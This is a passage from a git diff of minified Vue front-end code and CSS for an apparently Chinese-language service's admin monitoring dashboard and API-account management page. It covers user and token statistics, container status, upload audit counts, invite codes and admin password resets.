t=te.value.trim();if(!t){_.value="请输入邀请码";return}v.value=!0,_.value=null;try{const s=D.value?null:me(ne.value),r=await ae(),n=await fetch("/api/admin/invites",{method:"POST",headers:{"Content-Type":"application/json","X-CSRF-Token":r},credentials:"same-origin",body:JSON.stringify({code:t,remaining:s})}),u=await n.json();if(!n.ok||!u.success)throw new Error(u.error||`请求失败:${n.status}`);te.value="",ne.value="1",D.value=!1,await k(!0)}catch(s){_.value=s instanceof Error?s.message:String(s)}finally{v.value=!1}},_e=async()=>{const t=y.value.trim(),s=I.value.trim();if(!(!t||!s)){if(s.length<8){M.value="密码长度至少 8 位",B.value="";return}U.value=!0,B.value="",M.value="";try{const r=await ae(),n=await fetch(`/api/admin/users/${encodeURIComponent(t)}/reset-password`,{method:"POST",headers:{"Content-Type":"application/json","X-CSRF-Token":r},credentials:"same-origin",body:JSON.stringify({password:s})}),u=await n.json();if(!n.ok||!u.success)throw new Error(u.error||`请求失败:${n.status}`);B.value=`用户 ${t} 的密码已成功重置`,I.value=""}catch(r){M.value=r instanceof Error?r.message:String(r)}finally{U.value=!1}}},ye=d(()=>{const t=L.value.trim().toLowerCase();return t?F.value.filter(s=>s.username.toLowerCase().includes(t)||(s.email||"").toLowerCase().includes(t)):F.value}),De=d(()=>{const t=F.value.find(s=>s.username===y.value);return(t==null?void 0:t.email)||""}),Le=()=>{S.value=!S.value,S.value&&(L.value="",setTimeout(()=>{var t;(t=fe.value)==null||t.focus()},50))},Ae=t=>{y.value=t.username,L.value="",S.value=!1},ke=t=>{ce.value&&!ce.value.contains(t.target)&&(S.value=!1)},Xe=async t=>{const s=t==null?void 0:t.remaining,r=s===null||typeof s>"u"?"unlimited":String(s),n=window.prompt("请输入新的剩余次数(留空或输入 unlimited 表示不限次数)",r);if(n!==null){v.value=!0,_.value=null;try{const u=me(n),N=await ae(),b=await fetch("/api/admin/invites",{method:"PUT",headers:{"Content-Type":"application/json","X-CSRF-Token":N},credentials:"same-origin",body:JSON.stringify({code:t==null?void 0:t.code,remaining:u})}),$=await b.json();if(!b.ok||!$.success)throw new Error($.error||`请求失败:${b.status}`);await k(!0)}catch(u){_.value=u instanceof Error?u.message:String(u)}finally{v.value=!1}}},ze=async t=>{if(t&&window.confirm(`确认删除邀请码 ${t}?`)){v.value=!0,_.value=null;try{const s=await ae(),r=await fetch("/api/admin/invites",{method:"DELETE",headers:{"Content-Type":"application/json","X-CSRF-Token":s},credentials:"same-origin",body:JSON.stringify({code:t})}),n=await r.json();if(!r.ok||!n.success)throw new Error(n.error||`请求失败:${r.status}`);await k(!0)}catch(s){_.value=s instanceof Error?s.message:String(s)}finally{v.value=!1}}},Je=async t=>{await Me(t),R.value&&(k(!1),le())};$e(se,()=>{le()}),es(async()=>{document.addEventListener("click",ke),await he(),R.value?(k(!1),le()):x.value=!1}),$e(R,t=>{t?(k(!1),le()):m&&(clearInterval(m),m=void 0,x.value=!1)}),ss(()=>{document.removeEventListener("click",ke),m&&clearInterval(m)});const T=d(()=>w.value||null),C=d(()=>{var t;return((t=T.value)==null?void 0:t.overview)??{}}),P=d(()=>C.value.usage_totals??{}),ve=d(()=>C.value.token_totals??{}),Ke=d(()=>{const t=C.value.usage_leaders??{};return[{key:"fast",label:"快速模式 TOP",items:t.fast||[]},{key:"thinking",label:"思考模式 TOP",items:t.thinking||[]},{key:"search",label:"搜索调用 TOP",items:t.search||[]}]}),oe=d(()=>C.value.storage??{}),V=d(()=>{var t,s;return((s=(t=T.value)==null?void 0:t.uploads)==null?void 0:s.stats)??{}}),ge=d(()=>{var t,s;return((s=(t=T.value)==null?void 0:t.uploads)==null?void 0:s.sources)??[]}),be=d(()=>{var t,s;return((s=(t=T.value)==null?void 0:t.uploads)==null?void 0:s.recent_events)??[]}),F=d(()=>{var t;return((t=T.value)==null?void 0:t.users)??[]}),we=d(()=>{var t;return((t=T.value)==null?void 0:t.containers)??[]}),re=d(()=>{var t,s;return((s=(t=T.value)==null?void 0:t.invites)==null?void 0:s.summary)??{}}),Se=d(()=>{var t,s;return((s=(t=T.value)==null?void 0:t.invites)==null?void 0:s.codes)??[]}),Te=d(()=>C.value.totals??{}),A=d(()=>C.value.containers??{}),pe=d(()=>C.value.invites??{}),Ce=d(()=>F.value.map(s=>{var r,n,u;return{username:s.username,role:s.role||"user",input:Number(((r=s.tokens)==null?void 0:r.input_tokens)||0),output:Number(((n=s.tokens)==null?void 0:n.output_tokens)||0),total:Number(((u=s.tokens)==null?void 0:u.total_tokens)||0)}}).sort((s,r)=>r.total-s.total)),qe=d(()=>[{title:"注册用户",value:Te.value.users||0,sub:`${Te.value.active_users||0} 个活跃`},{title:"容器使用",value:`${A.value.active||0}/${A.value.max_containers??"∞"}`,sub:A.value.available_slots===null||A.value.available_slots===void 0?"无限制":`${A.value.available_slots} 个空闲`},{title:"资源告警",value:(oe.value.warning_users||[]).length,sub:"达到预警阈值的工作区"},{title:"上传审计 (24h)",value:V.value.last_24h||0,sub:`${V.value.blocked_last_24h||0} 条被阻断`},{title:"配额调用 (fast / thinking / search)",value:`${P.value.fast||0} / ${P.value.thinking||0} / ${P.value.search||0}`,sub:"窗口内累计调用"},{title:"邀请码",value:pe.value.total||0,sub:`${pe.value.active||0} 个可用 · ${pe.value.consumed||0} 已用`},{title:"存储占用",value:g(oe.value.total_bytes||0),sub:oe.value.per_user_limit_bytes?`单用户上限 ${g(oe.value.per_user_limit_bytes)}`:"未设置上限"}]),g=t=>{if(t==null||Number(t)<=0)return"0 B";const s=["B","KB","MB","GB","TB"];let r=Number(t);const n=Math.min(Math.floor(Math.log(r)/Math.log(1024)),s.length-1);r/=1024**n;const u=r>=100?0:1;return`${r.toFixed(u)} ${s[n]}`},Ge=t=>t==null?"0%":`${Math.min(100,Math.max(0,Number(t)))}%`,Qe=t=>t==null||isNaN(Number(t))?"—":`${Number(t).toFixed(1)}%`,j=t=>{if(t==null)return"0";const s=Number(t);return Number.isNaN(s)?"0":s.toLocaleString()},Ne=t=>t==null||isNaN(Number(t))?"—":`${Number(t).toFixed(1)}%`,ue=t=>{if(!t)return"未知时间";const s=new Date(t);if(Number.isNaN(s.getTime()))return String(t);const r=Date.now()-s.getTime();if(r<6e4)return"刚刚";const n=Math.floor(r/6e4);if(n<60)return`${n} 分钟前`;const u=Math.floor(n/60);return u<24?`${u} 小时前`:`${Math.floor(u/24)} 天前`},We=t=>t==="critical"?"danger":t==="warning"?"warning":"online",He=t=>t!=null&&t.error?"danger":t!=null&&t.state&&t.state.running===!1?"warning":"online",Ye=t=>t==null?"无限制":t>0?`剩余 ${t}`:"已用完";return(t,s)=>{var r;return Ve.value?(a(),o("div",cs,[...s[8]||(s[8]=[e("div",{class:"spinner"},null,-1),e("p",null,"正在加载监控数据...",-1)])])):(a(),o("div",vs,[Y(R)?c("",!0):(a(),ts(us,{key:0,configured:Y(Ie),loading:Y(Ue),error:Y(Be),description:"为保护敏感监控数据,需二级校验后查看。",onVerify:Je,onRecheck:Y(he)},null,8,["configured","loading","error","onRecheck"])),e("header",ps,[e("div",null,[s[9]||(s[9]=e("h1",null,"管理员监控面板",-1)),e("p",null,"最近更新:"+l(ue(((r=w.value)==null?void 0:r.generated_at)||C.value.generated_at)),1)]),e("div",hs,[e("label",null,[O(e("input",{type:"checkbox","onUpdate:modelValue":s[0]||(s[0]=n=>se.value=n)},null,512),[[Ee,se.value]]),s[10]||(s[10]=Re(" 自动刷新 ",-1))]),e("button",{type:"button",disabled:Z.value,onClick:Fe},l(Z.value?"刷新中...":"立即刷新"),9,fs),s[11]||(s[11]=e("a",{class:"link-btn",href:"/admin/policy",target:"_blank",rel:"noopener"},"策略配置",-1)),s[12]||(s[12]=e("a",{class:"link-btn",href:"/admin/api",target:"_blank",rel:"noopener"},"API 管理",-1))])]),ee.value?(a(),o("section",ms,[s[13]||(s[13]=e("strong",null,"刷新失败:",-1)),e("span",null,l(ee.value),1)])):c("",!0),w.value?(a(),o("div",_s,[e("aside",ys,[(a(),o(p,null,h(Pe,n=>e("button",{key:n.id,type:"button",class:E(["sidebar-tab",{active:f.value===n.id}]),onClick:u=>f.value=n.id},l(n.label),11,ks)),64))]),e("main",gs,[ns(os,{name:"fade",mode:"out-in"},{default:ls(()=>[f.value==="overview"?(a(),o("section",bs,[e("div",ws,[(a(!0),o(p,null,h(qe.value,n=>(a(),o("div",{key:n.title,class:"metric-card"},[e("h3",null,l(n.title),1),e("strong",null,l(n.value),1),e("span",null,l(n.sub),1)]))),128))])])):f.value==="usage"?(a(),o("section",Ss,[s[19]||(s[19]=e("h2",null,"模型配额与趋势",-1)),e("div",Ts,[e("span",null,"快速模式:"+l(P.value.fast||0),1),e("span",null,"思考模式:"+l(P.value.thinking||0),1),e("span",null,"搜索:"+l(P.value.search||0),1)]),e("div",Cs,[e("div",Ns,[s[14]||(s[14]=e("p",null,"累计输入 Token",-1)),e("strong",null,l(j(ve.value.input_tokens)),1)]),e("div",$s,[s[15]||(s[15]=e("p",null,"累计输出 Token",-1)),e("strong",null,l(j(ve.value.output_tokens)),1)]),e("div",Es,[s[16]||(s[16]=e("p",null,"总计 Token",-1)),e("strong",null,l(j(ve.value.total_tokens)),1)])]),e("div",Rs,[s[18]||(s[18]=e("div",{class:"token-breakdown-header"},[e("h3",null,"按用户累计 Token"),e("span",null,"实时拉取 · 按总量降序")],-1)),Ce.value.length?(a(),o("div",xs,[e("table",Is,[s[17]||(s[17]=e("thead",null,[e("tr",null,[e("th",null,"用户"),e("th",null,"角色"),e("th",null,"输入 Token"),e("th",null,"输出 Token"),e("th",null,"累计 Token")])],-1)),e("tbody",null,[(a(!0),o(p,null,h(Ce.value,n=>(a(),o("tr",{key:n.username},[e("td",null,l(n.username),1),e("td",null,l(n.role),1),e("td",null,l(j(n.input)),1),e("td",null,l(j(n.output)),1),e("td",null,[e("strong",null,l(j(n.total)),1)])]))),128))])])])):(a(),o("p",Us,"暂无 token 统计数据"))]),e("div",Bs,[(a(!0),o(p,null,h(Ke.value,n=>(a(),o("div",{key:n.key,class:"leader-card"},[e("h3",null,l(n.label),1),e("ul",null,[n.items.length?c("",!0):(a(),o("li",Ms,"暂无数据")),(a(!0),o(p,null,h(n.items,u=>(a(),o("li",{key:u.username},[e("strong",null,l(u.username),1),e("span",null,l(u.count)+" / "+l(u.limit??"∞"),1)]))),128))])]))),128))])])):f.value==="users"?(a(),o("section",Ps,[s[22]||(s[22]=e("h2",null,"用户与配额",-1)),e("div",Vs,[e("table",null,[s[21]||(s[21]=e("thead",null,[e("tr",null,[e("th",null,"用户"),e("th",null,"角色"),e("th",null,"状态"),e("th",null,"项目占用"),e("th",null,"Fast"),e("th",null,"Thinking"),e("th",null,"Search"),e("th",null,"项目体积"),e("th",null,"最近活跃")])],-1)),e("tbody",null,[F.value.length?c("",!0):(a(),o("tr",Fs,[...s[20]||(s[20]=[e("td",{colspan:"9"},"暂无用户",-1)])])),(a(!0),o(p,null,h(F.value,n=>{var u,N,b,$,X,z,J,K,q,G,Q,W,H;return a(),o("tr",{key:n.username},[e("td",null,[e("strong",null,l(n.username),1),e("div",js,l(n.email||"—"),1)]),e("td",null,l(n.role||"user"),1),e("td",null,[e("span",{class:E(["status-badge",(u=n.status)!=null&&u.online?"online":"offline"])},l((N=n.status)!=null&&N.online?"在线":"离线"),3)]),e("td",null,[e("span",{class:E(["status-badge",We((b=n.storage)==null?void 0:b.status)])},l(Qe(($=n.storage)==null?void 0:$.usage_percent)),3),e("div",Os,[e("span",{style:as({width:Ge((X=n.storage)==null?void 0:X.usage_percent)})},null,4)])]),e("td",null,l(((J=(z=n.usage)==null?void 0:z.fast)==null?void 0:J.count)||0),1),e("td",null,l(((q=(K=n.usage)==null?void 0:K.thinking)==null?void 0:q.count)||0),1),e("td",null,l(((Q=(G=n.usage)==null?void 0:G.search)==null?void 0:Q.count)||0),1),e("td",null,l(g((W=n.storage)==null?void 0:W.project_bytes)),1),e("td",null,l(ue((H=n.status)==null?void 0:H.last_active)),1)])}),128))])])])])):f.value==="containers"?(a(),o("section",Ds,[s[25]||(s[25]=e("h2",null,"容器运行状态",-1)),e("div",Ls,[e("table",null,[s[24]||(s[24]=e("thead",null,[e("tr",null,[e("th",null,"用户"),e("th",null,"模式"),e("th",null,"容器名"),e("th",null,"CPU"),e("th",null,"内存%"),e("th",null,"内存使用"),e("th",null,"内存上限"),e("th",null,"网络 RX/TX"),e("th",null,"状态"),e("th",null,"最近活跃")])],-1)),e("tbody",null,[we.value.length?c("",!0):(a(),o("tr",As,[...s[23]||(s[23]=[e("td",{colspan:"10"},"暂无容器运行",-1)])])),(a(!0),o(p,null,h(we.value,n=>{var u,N,b,$,X,z,J,K,q,G,Q,W,H;return a(),o("tr",{key:n.username},[e("td",null,l(n.username),1),e("td",null,l(n.mode||"host"),1),e("td",null,l(n.container_name||"—"),1),e("td",null,l(Ne((u=n.stats)==null?void 0:u.cpu_percent)),1),e("td",null,l(Ne((b=(N=n.stats)==null?void 0:N.memory)==null?void 0:b.percent)),1),e("td",null,l(g((X=($=n.stats)==null?void 0:$.memory)==null?void 0:X.used_bytes)),1),e("td",null,l(g((J=(z=n.stats)==null?void 0:z.memory)==null?void 0:J.limit_bytes)),1),e("td",null,l(g((q=(K=n.stats)==null?void 0:K.net_io)==null?void 0:q.rx_bytes))+" / "+l(g((Q=(G=n.stats)==null?void 0:G.net_io)==null?void 0:Q.tx_bytes)),1),e("td",null,[e("span",{class:E(["status-badge",He(n)])},l(((W=n.state)==null?void 0:W.status)||((H=n.state)!=null&&H.running?"运行中":"未知")),3)]),e("td",null,l(ue(n.last_active)),1)])}),128))])])])])):f.value==="uploads"?(a(),o("section",Xs,[s[26]||(s[26]=e("h2",null,"上传安全审计",-1)),e("div",zs,[e("span",null,"最近24小时:"+l(V.value.last_24h||0),1),e("span",null,"阻断:"+l(V.value.blocked_last_24h||0),1),e("span",null,"跳过扫描:"+l(V.value.skipped_scan_last_24h||0),1),e("span",null,"隔离区占用:"+l(g(V.value.quarantine_bytes)),1)]),e("div",Js,[ge.value.length?c("",!0):(a(),o("span",Ks,"暂无来源统计")),(a(!0),o(p,null,h(ge.value,n=>(a(),o("span",{key:n.source},l(n.source)+":"+l(n.count),1))),128))]),e("ul",qs,[be.value.length?c("",!0):(a(),o("li",Gs,"暂无近期上传")),(a(!0),o(p,null,h(be.value,n=>{var u;return a(),o("li",{key:n.upload_id,class:"upload-item"},[e("div",null,[e("strong",null,l(n.original_name||"未命名文件"),1),e("div",Qs,[e("span",null,"用户:"+l(n.username),1),e("span",null,"来源:"+l(n.source||"unknown"),1),e("span",null,"大小:"+l(g(n.size)),1)])]),e("div",Ws,[e("span",null,l(ue(n.timestamp)),1),e("span",{class:E(["status-badge",n.accepted?"online":"danger"])},l(n.accepted?"通过":"阻断"),3),(u=n.error)!=null&&u.message?(a(),o("span",Hs,l(n.error.message),1)):c("",!0)])])}),128))])])):f.value==="invites"?(a(),o("section",Ys,[s[28]||(s[28]=e("h2",null,"邀请码",-1)),e("div",Zs,[e("span",null,"总计:"+l(re.value.total||0),1),e("span",null,"可用:"+l(re.value.active||0),1),e("span",null,"已用:"+l(re.value.consumed||0),1),e("span",null,"无限制:"+l(re.value.unlimited||0),1)]),e("div",et,[O(e("input",{"onUpdate:modelValue":s[1]||(s[1]=n=>te.value=n),class:"invite-input",type:"text",placeholder:"新邀请码",disabled:v.value},null,8,st),[[ie,te.value,void 0,{trim:!0}]]),O(e("input",{"onUpdate:modelValue":s[2]||(s[2]=n=>ne.value=n),class:"invite-input short",type:"number",min:"0",placeholder:"剩余次数",disabled:v.value||D.value},null,8,tt),[[ie,ne.value]]),e("label",nt,[O(e("input",{type:"checkbox","onUpdate:modelValue":s[3]||(s[3]=n=>D.value=n),disabled:v.value},null,8,lt),[[Ee,D.value]]),s[27]||(s[27]=Re(" 不限次数 ",-1))]),e("button",{type:"button",disabled:v.value,onClick:Oe},l(v.value?"处理中...":"新增邀请码"),9,at)]),_.value?(a(),o("p",ot,l(_.value),1)):c("",!0),e("div",rt,[Se.value.length?c("",!0):(a(),o("div",ut,"暂无邀请码数据")),(a(!0),o(p,null,h(Se.value,n=>(a(),o("div",{key:n.code,class:"invite-card"},[e("h4",null,l(n.code),1),e("span",null,l(Ye(n.remaining)),1),e("div",it,[e("button",{type:"button",class:"mini-btn",disabled:v.value,onClick:u=>Xe(n)}," 调整次数 ",8,dt),e("button",{type:"button",class:"mini-btn danger",disabled:v.value,onClick:u=>ze(n.code)}," 删除 ",8,ct)])]))),128))])])):f.value==="passwords"?(a(),o("section",vt,[s[32]||(s[32]=e("h2",null,"密码管理",-1)),s[33]||(s[33]=e("p",{class:"muted"},"管理员可重置任意用户的登录密码(包括自己)。",-1)),e("div",pt,[e("div",ht,[s[30]||(s[30]=e("label",null,"选择用户",-1)),e("div",{class:"user-search-wrapper",ref_key:"userSearchRef",ref:ce},[e("div",{class:E(["user-search-trigger",{open:S.value,filled:y.value}]),onClick:Le},[y.value?(a(),o("span",ft,[e("strong",null,l(y.value),1),e("span",mt,l(De.value),1)])):(a(),o("span",_t,"搜索用户名或邮箱...")),s[29]||(s[29]=e("span",{class:"user-search-arrow"},"▾",-1))],2),S.value?(a(),o("div",yt,[O(e("input",{ref_key:"passwordSearchInputRef",ref:fe,class:"user-search-input",type:"text","onUpdate:modelValue":s[4]||(s[4]=n=>L.value=n),placeholder:"输入关键词筛选...",onKeydown:s[5]||(s[5]=xe(n=>S.value=!1,["escape"]))},null,544),[[ie,L.value]]),e("div",kt,[(a(!0),o(p,null,h(ye.value,n=>(a(),o("div",{key:n.username,class:E(["user-search-item",{active:y.value===n.username}]),onClick:u=>Ae(n)},[e("span",bt,l(n.username),1),e("span",wt,l(n.email||"—"),1),n.role==="admin"?(a(),o("span",St,"管理员")):c("",!0)],10,gt))),128)),ye.value.length?c("",!0):(a(),o("div",Tt," 无匹配用户 "))])])):c("",!0)],512)]),e("div",Ct,[s[31]||(s[31]=e("label",null,"新密码(至少 8 位)",-1)),O(e("input",{class:"password-input",type:"password","onUpdate:modelValue":s[6]||(s[6]=n=>I.value=n),disabled:U.value,placeholder:"输入新密码",onKeyup:xe(_e,["enter"])},null,40,Nt),[[ie,I.value]])]),e("div",$t,[e("button",{type:"button",disabled:!y.value||!I.value||U.value,onClick:_e},l(U.value?"重置中...":"重置密码"),9,Et),e("button",{type:"button",class:"ghost-btn",disabled:U.value,onClick:s[7]||(s[7]=n=>{y.value="",I.value="",B.value="",M.value=""})}," 清空 ",8,Rt)]),B.value?(a(),o("p",xt,l(B.value),1)):c("",!0),M.value?(a(),o("p",It,l(M.value),1)):c("",!0)])])):c("",!0)]),_:1})])])):(a(),o("div",Ut,[s[34]||(s[34]=e("strong",null,"加载失败",-1)),e("p",null,l(de.value||"无法加载监控数据"),1),e("button",{type:"button",onClick:je},"重试")]))]))}}}),Mt=ds(Bt,[["__scopeId","data-v-5d25bd99"]]);rs(Mt).mount("#admin-app"); diff --git a/demo/static/dist/assets/adminApi.css b/demo/static/dist/assets/adminApi.css new file mode 100644 index 0000000..0b1ad7a --- /dev/null +++ b/demo/static/dist/assets/adminApi.css @@ -0,0 +1 @@ +body{margin:0;background:#f7f3ea;font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,serif;color:#2a2013}#admin-api-app{min-height:100vh;padding:24px 32px 48px;box-sizing:border-box}.api-page[data-v-e3a0943c]{max-width:1400px;margin:0 auto;display:flex;flex-direction:column;gap:16px}.api-header[data-v-e3a0943c]{display:flex;justify-content:space-between;align-items:flex-start;gap:12px}.header-actions[data-v-e3a0943c]{display:flex;gap:10px;align-items:center}.panel[data-v-e3a0943c]{background:#f6ecda;border-radius:20px;padding:18px;border:1px solid rgba(118,103,84,.35);box-shadow:0 10px 22px #00000014}.metrics-grid[data-v-e3a0943c]{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:12px}.metric-card[data-v-e3a0943c]{background:#fffffff0;border-radius:16px;padding:14px;border:1px solid rgba(44,32,19,.12);box-shadow:inset 0 1px #fff9}.metric-card p[data-v-e3a0943c]{margin:0;color:#6b5b44;font-size:13px;letter-spacing:.05em}.metric-card strong[data-v-e3a0943c]{font-size:26px;display:block;margin-top:6px}.muted[data-v-e3a0943c]{color:#6b5b44}.muted.small[data-v-e3a0943c]{font-size:12px}.section-head[data-v-e3a0943c]{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}.create-form[data-v-e3a0943c]{display:flex;gap:8px;flex-wrap:wrap}.create-form input[data-v-e3a0943c]{padding:10px 12px;border-radius:12px;border:1px solid rgba(0,0,0,.12)}button[data-v-e3a0943c]{border:none;border-radius:12px;padding:10px 14px;background:var(--highlight);color:#2a2013;font-weight:600;cursor:pointer}.ghost-btn[data-v-e3a0943c]{background:transparent;border:1px dashed rgba(44,32,19,.35)}.table-wrapper[data-v-e3a0943c]{width:100%;overflow:auto}.table-wrapper.scrollable[data-v-e3a0943c]{max-height:320px}table[data-v-e3a0943c]{width:100%;border-collapse:collapse}th[data-v-e3a0943c],td[data-v-e3a0943c]{padding:10px;border-bottom:1px solid rgba(0,0,0,.08);text-align:left;font-size:14px}.token-cell[data-v-e3a0943c]{display:flex;align-items:center;gap:8px}.icon-btn[data-v-e3a0943c]{background:#ffffffe6;border:1px solid rgba(0,0,0,.12);border-radius:8px;padding:6px;cursor:pointer}.link.danger[data-v-e3a0943c]{background:transparent;color:#b5473d;border:1px solid rgba(181,71,61,.4)}.status-badge[data-v-e3a0943c]{display:inline-flex;align-items:center;padding:4px 8px;border-radius:10px;font-size:12px}.status-badge.online[data-v-e3a0943c]{background:#49a07826;color:#2f6b4f}.status-badge.offline[data-v-e3a0943c]{background:#0000000f;color:#5f5140}.status-badge.danger[data-v-e3a0943c]{background:#bd5d3a26;color:#b5473d}.upload-feed[data-v-e3a0943c]{list-style:none;padding:0;margin:0;display:flex;flex-direction:column;gap:10px}.upload-feed.scrollable[data-v-e3a0943c]{max-height:280px;overflow:auto}.upload-item[data-v-e3a0943c]{padding:10px;border-radius:12px;background:#ffffffeb;border:1px solid rgba(0,0,0,.06)}.grid[data-v-e3a0943c]{display:grid;grid-template-columns:repeat(auto-fit,minmax(320px,1fr));gap:14px}.error-text[data-v-e3a0943c]{color:#b5473d;margin-top:8px} diff --git a/demo/static/dist/assets/adminApi.js b/demo/static/dist/assets/adminApi.js new file mode 100644 index 0000000..07612a5 --- /dev/null +++ b/demo/static/dist/assets/adminApi.js @@ -0,0 +1 @@ +import{d as he,o as _e,w as te,a as ke,b as r,c as i,u as $,e as ge,f as E,g as e,t as a,h as L,v as ye,i as se,j as ne,F as z,r as O,n as ae,k as c,l as j,m as be}from"./runtime-dom.esm-bundler.js";import{S as we,u as Ce}from"./SecondaryGate.js";import{_ as Ae}from"./_plugin-vue_export-helper.js";const xe={class:"api-page"},Ie={class:"api-header"},Te={class:"muted"},Be={class:"header-actions"},Ne=["disabled"],$e={class:"panel"},Ee={class:"metrics-grid"},Pe={class:"metric-card"},Se={class:"metric-card"},Ue={class:"metric-card"},Re={class:"muted"},Ve={class:"metric-card"},je={class:"muted"},Fe={class:"panel"},Me={class:"section-head"},qe={class:"create-form"},De=["disabled"],Le={class:"table-wrapper"},ze={key:0},Oe={key:0,class:"status-badge online"},Ge={key:1,class:"status-badge offline"},Ke={class:"token-cell"},Xe={class:"token-text"},Ze=["onClick","disabled"],Je=["onClick","disabled"],He=["onClick","disabled"],Qe={key:0,class:"error-text"},We={class:"panel grid"},Ye={class:"table-wrapper small scrollable"},et={key:0},tt={class:"upload-feed scrollable"},st={key:0,class:"upload-item"},nt={class:"muted small"},at={class:"muted small"},lt=he({__name:"ApiAdminApp",setup(rt){const{verified:v,configured:le,loading:oe,error:re,check:G,verify:ie}=Ce(),P=c(!1),S=c(!0);let p;const k=c(null),g=c([]),d=c({}),U=c(""),F=c(""),R=c(!1),m=c({username:"",note:""}),f=c(""),h=j(()=>{var s;return((s=k.value)==null?void 0:s.overview)||{}}),K=j(()=>{var s;return((s=k.value)==null?void 0:s.uploads)||{}}),X=j(()=>{var t;const s=((t=k.value)==null?void 0:t.containers)||{};return Object.keys(s).map(o=>({key:o,...s[o]||{}}))}),ue=j(()=>g.value.reduce((s,t)=>s+(t.usage&&t.usage.total_requests?t.usage.total_requests:0),0)),_=s=>{const t=Number(s||0);return Number.isFinite(t)?t.toLocaleString("zh-CN"):"0"},y=s=>{const t=Number(s||0);if(!t)return"0B";const o=["B","KB","MB","GB","TB"];let l=t,u=0;for(;l>=1024&&u{if(!s)return"—";try{return new Date(s).toLocaleString()}catch{return s}},M=s=>{if(!s)return"—";const t=new Date(s).getTime();if(!Number.isFinite(t))return"—";const o=Date.now()-t,l=Math.floor(o/6e4);if(l<1)return"刚刚";if(l<60)return`${l} 分钟前`;const u=Math.floor(l/60);return u<24?`${u} 小时前`:`${Math.floor(u/24)} 天前`},Z=s=>{if(s==null)return"—";const t=Number(s);return Number.isFinite(t)?`${t.toFixed(1)}%`:"—"},ce=async()=>{if(v.value){P.value=!0;try{const s=await fetch("/api/admin/api-dashboard",{credentials:"same-origin"}),t=await s.json();if(!s.ok||!t.success)throw new Error(t.error||"加载失败");k.value=t.data}catch(s){console.error(s)}finally{P.value=!1}}},q=async()=>{if(v.value)try{const s=await fetch("/api/admin/api-users",{credentials:"same-origin"}),t=await s.json();if(!s.ok||!t.success)throw new Error(t.error||"加载失败");const o={};g.value=(t.data||[]).map(l=>({...l,usage:l.usage||{total_requests:0,endpoints:{},last_request_at:null},tokens:l.tokens||{total_tokens:0,input_tokens:0,output_tokens:0},storage:l.storage||{total_bytes:0}})),g.value.forEach(l=>{o[l.username]=d.value[l.username]||{token:"",visible:!1}}),d.value=o}catch(s){console.error(s)}},b=async()=>{await Promise.all([ce(),q()])},V=()=>{p&&(clearInterval(p),p=void 0),S.value&&v.value&&(p=window.setInterval(b,3e4))},ve=async()=>{if(!v.value)return;f.value="";const s=m.value.username.trim().toLowerCase();if(!s){f.value="请输入账号名";return}if(!/^[a-z0-9_-]{3,32}$/.test(s)){f.value="账号名需为 3-32 位小写字母/数字/_/-";return}R.value=!0;try{const o=await fetch("/api/admin/api-users",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json"},body:JSON.stringify({username:s,note:m.value.note})}),l=await o.json();if(!o.ok||!l.success)throw new Error(l.error||"创建失败");await q(),d.value[s]={token:l.data.token,visible:!0},m.value={username:"",note:""}}catch(o){f.value=o.message||"创建失败"}finally{R.value=!1}},pe=async s=>{if(v.value&&confirm(`确认删除 API 用户 ${s} 吗?`)){F.value=s;try{const t=await fetch(`/api/admin/api-users/${encodeURIComponent(s)}`,{method:"DELETE",credentials:"same-origin"}),o=await t.json();if(!t.ok||!o.success)throw new Error(o.error||"删除失败");await q()}catch(t){alert(t.message||"删除失败")}finally{F.value=""}}},J=async s=>{const t=d.value[s];if(t!=null&&t.visible){d.value[s]={...t||{},visible:!1};return}U.value=s;try{const o=await fetch(`/api/admin/api-users/${encodeURIComponent(s)}/token`,{credentials:"same-origin"}),l=await o.json();if(!o.ok||!l.success)throw new Error(l.error||"获取失败");d.value[s]={token:l.data.token,visible:!0}}catch(o){alert(o.message||"获取 token 失败")}finally{U.value=""}},me=async s=>{var l;const t=d.value[s];t!=null&&t.token||await J(s);const o=(l=d.value[s])==null?void 0:l.token;if(o)try{await navigator.clipboard.writeText(o)}catch(u){console.error(u)}},fe=async s=>{await ie(s),v.value&&(await b(),V())};return _e(async()=>{await G(),v.value&&(await b(),V())}),te(S,V),te(v,s=>{s?(b(),V()):p&&(clearInterval(p),p=void 0)}),ke(()=>{p&&clearInterval(p)}),(s,t)=>{var o,l,u,D,H,Q,W,Y;return r(),i("div",xe,[$(v)?E("",!0):(r(),ge(we,{key:0,configured:$(le),loading:$(oe),error:$(re),description:"请输入管理员二级密码后查看 API 调用与账户。",onVerify:fe,onRecheck:$(G)},null,8,["configured","loading","error","onRecheck"])),e("header",Ie,[e("div",null,[t[3]||(t[3]=e("h1",null,"API 管理面板",-1)),t[4]||(t[4]=e("p",null,"监控 Token / 容器 / 上传审计,并管理 API 账户。",-1)),e("small",Te,"数据时间:"+a(M((o=k.value)==null?void 0:o.generated_at)),1)]),e("div",Be,[e("label",null,[L(e("input",{type:"checkbox","onUpdate:modelValue":t[0]||(t[0]=n=>S.value=n)},null,512),[[ye,S.value]]),t[5]||(t[5]=se(" 自动刷新",-1))]),e("button",{type:"button",disabled:P.value,onClick:b},a(P.value?"刷新中...":"手动刷新"),9,Ne)])]),e("section",$e,[e("div",Ee,[e("div",Pe,[t[6]||(t[6]=e("p",null,"API 用户数",-1)),e("strong",null,a(((l=h.value.totals)==null?void 0:l.users)||0),1)]),e("div",Se,[t[7]||(t[7]=e("p",null,"总请求",-1)),e("strong",null,a(_(ue.value)),1)]),e("div",Ue,[t[8]||(t[8]=e("p",null,"累计 Token",-1)),e("strong",null,a(_(((u=h.value.token_totals)==null?void 0:u.total_tokens)||0)),1),e("span",Re,"输入 "+a(_(((D=h.value.token_totals)==null?void 0:D.input_tokens)||0))+" / 输出 "+a(_(((H=h.value.token_totals)==null?void 0:H.output_tokens)||0)),1)]),e("div",Ve,[t[9]||(t[9]=e("p",null,"活动容器",-1)),e("strong",null,a(((Q=h.value.totals)==null?void 0:Q.containers_active)||0),1),e("span",je,"可用槽位 "+a(((W=h.value.totals)==null?void 0:W.available_container_slots)??"—"),1)])])]),e("section",Fe,[e("div",Me,[t[10]||(t[10]=e("h2",null,"API 账户管理",-1)),e("div",qe,[L(e("input",{"onUpdate:modelValue":t[1]||(t[1]=n=>m.value.username=n),type:"text",placeholder:"新账号名 